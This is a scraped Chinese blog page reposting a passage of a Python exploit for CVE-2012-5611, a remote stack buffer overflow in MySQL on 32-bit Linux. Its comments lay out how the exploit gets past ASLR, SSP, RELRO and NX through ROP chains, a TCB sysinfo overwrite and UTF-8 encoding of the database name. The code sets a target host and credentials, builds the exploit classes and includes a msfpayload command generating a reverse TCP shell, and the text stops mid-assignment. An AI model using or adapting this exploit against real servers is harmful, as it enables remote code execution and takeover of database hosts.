zoukankan      html  css  js  c++  java
  • MySQL Stack Buffer Overflow Linux x86 32bits

    测试方法:

    程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

      1 !/usr/bin/env python
      2 # 27/12/12 - status : public release
      3  
      4 # CVE-2012-5611 ( https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5611 )
      5 # -------- Author   : ipv
      6 # -------- Impact   : high
      7 # -------- URL        : http://blog.ring0.me/
      8 # -------- Description
      9 #
     10 # The code below is linked to CVE-2012-5611, a flaw discovered by kingcope.
     11 # MySQL server is prone to a remote buffer overflow that 
     12 # allow remote authenticated attacker to reach code execution in the 
     13 # context of the user running MySQL instance (default: mysql user).
     14  
     15 # The vulnerability resides in acl_get function, called when authenticated
     16 # user  requests a privileged Account Managment statement. MySQL fails 
     17 # to verify user controlled data len of "db" parameter.
     18 #
     19 #     end=strmov((tmp_db=strmov(strmov(key, ip ? ip : "")+1,user)+1),db);
     20 #
     21 # The destination address of strcpy is located on a mmaped page dedicated to 
     22 # user connection which allow a buffer overflow on adjacent memory.
     23 #
     24 # Differents attacks vector may be possiblea according the system.
     25 # FYI Microsoft Windows versions are as well vulnerables.
     26 #---------------------------------------------------------
     27 # To bypass ASLR/SSP/RELRO/NX:
     28 #------------------------------------------------------------------------------
     29 # I take profit of Threading-Model. This means MySQL use only one address 
     30 # space for all MySQL ressources (data structures, network managment, 
     31 # session, etc.). 
     32 # To bypass SSP, i overwrite sysinfo handler(pointing to sysenter vdso) of 
     33 # TCB structure located more higher on the stack. 
     34 # ROP chains aims to pivot to our controlled stack data. At this point, 
     35 # if we overwrite sysinfo handler, we cannot use ret2libc and/or GOT 
     36 # deferencing technique since libc API relies on the sysinfo pointer 
     37 # to call sysenter.
     38 #
     39 # So to accomplish code exec, afaik, you have two way : 
     40 #    1 - Extract sysinfo of an intact TCB and use it as proxy call
     41 #    (or you can restore the first sysinfo after doing modification on got)
     42 #        -> i use it for redhat exploit (no SSP on redhat/centos); 
     43 #        -> this allow us to bypass relro/alsr/nx
     44 #        relro.
     45 #    2 - Find a int0x80 / sysenter gadget in .text ;
     46 #    (Bad instruction follow int0x80 gadget, you have a one shooter to get
     47 #    code exec). So, i advise you to find a sysenter)
     48 #        - i use sysenter for ubuntu 10.04 self-compiled with SSP. 
     49 #        - this allow us bypass relro/ssp/alsr/nx
     50 # 
     51 # Shellcodes are alphanum-mixed (skylined tool ftw). Exploit bypass
     52 # SSP/ASLR/NX.
     53 #
     54 #---------------------------------------------------------
     55 # UTF-8 and ROP chains limitation :
     56 #---------------------------------------------------------
     57 # Mysql Schema Object Name restricts database name to be alpha numeric 
     58 # (and $ _).
     59 # To bypass it, i use utf-8 encoding with byte lower than 0x80. Encoding is 
     60 # done via MySQL when databasename is quoted with `` (mandatory to 
     61 # successful exploit target). Yes the devil is in the details.
     62  
     63 # MySQL reference : https://dev.mysql.com/doc/refman/5.1/en/identifiers.html
     64 #
     65 # For any comments/job offer, mail me : ipv _at_ consortium-of-pwners . net
     66  
     67 ########################################################################
     68 # Modules
     69 #
     70  
     71 import pymysql
     72 import sys
     73 import struct
     74 import os, socket
     75  
     76 ########################################################################
     77 # Authentication options 
     78 #
     79  
     80 MYSQL_USER = "test"
     81 MYSQL_PASSWORD = ""
     82  
     83 #MYSQL_HOST = "192.168.130.147"
     84 MYSQL_HOST = "192.168.130.129"
     85 MYSQL_PORT = 3306
     86  
     87 ########################################################################
     88 # Helper
     89 # 
     90  
     91 def _x(v):
     92     if isinstance(v, str):
     93         return v
     94     return struct.pack("<I", v)
     95  
     96 # TCP is used when we face to SSP
     97 class _TCB:
     98     tcb = 0 # updated later by a ret gadget
     99     dtv = "BBBB"
    100     _self = "CCCC"
    101     multiple_threads= "DDDD"
    102     sysinfo = 0 # SEIP - updated later by stack pivot gadget 
    103     stack_guard = "AAAA"
    104     pointer_guard = 0 # updated later by a pop pop ret gadget
    105  
    106 # base class
    107 class rc_base:
    108     eip_off = 0
    109     align_payload = 0
    110     align_stack = 2048
    111     retsled = ""
    112     safe_overwrite = ""
    113     pivot = ""
    114     pppr = ""
    115     ppr = ""
    116     
    117     # ./msf/msfpayload linux/x86/shell_reverse_tcp2 LHOST=192.168.130.1 LPORT=4444 R | ./alpha2 esp
    118     # XXX - CHANGEME !
    119     sc_rev_tcp =
  • 相关阅读:
    【设计模式:单例模式】使用单例模式载入properties文件
    Java 强引用,软引用,弱引用
    sharepreference实现记住password功能
    WWDC2015
    activity之栈管理
    LeetCode:Palindrome Number
    ZOJ 3822 Domination(概率dp)
    WCF报 当前已禁用此服务的元数据发布的错误
    HTML常见标签总结
    xml基础总结
  • 原文地址:https://www.cnblogs.com/security4399/p/2837900.html
Copyright © 2011-2022 走看看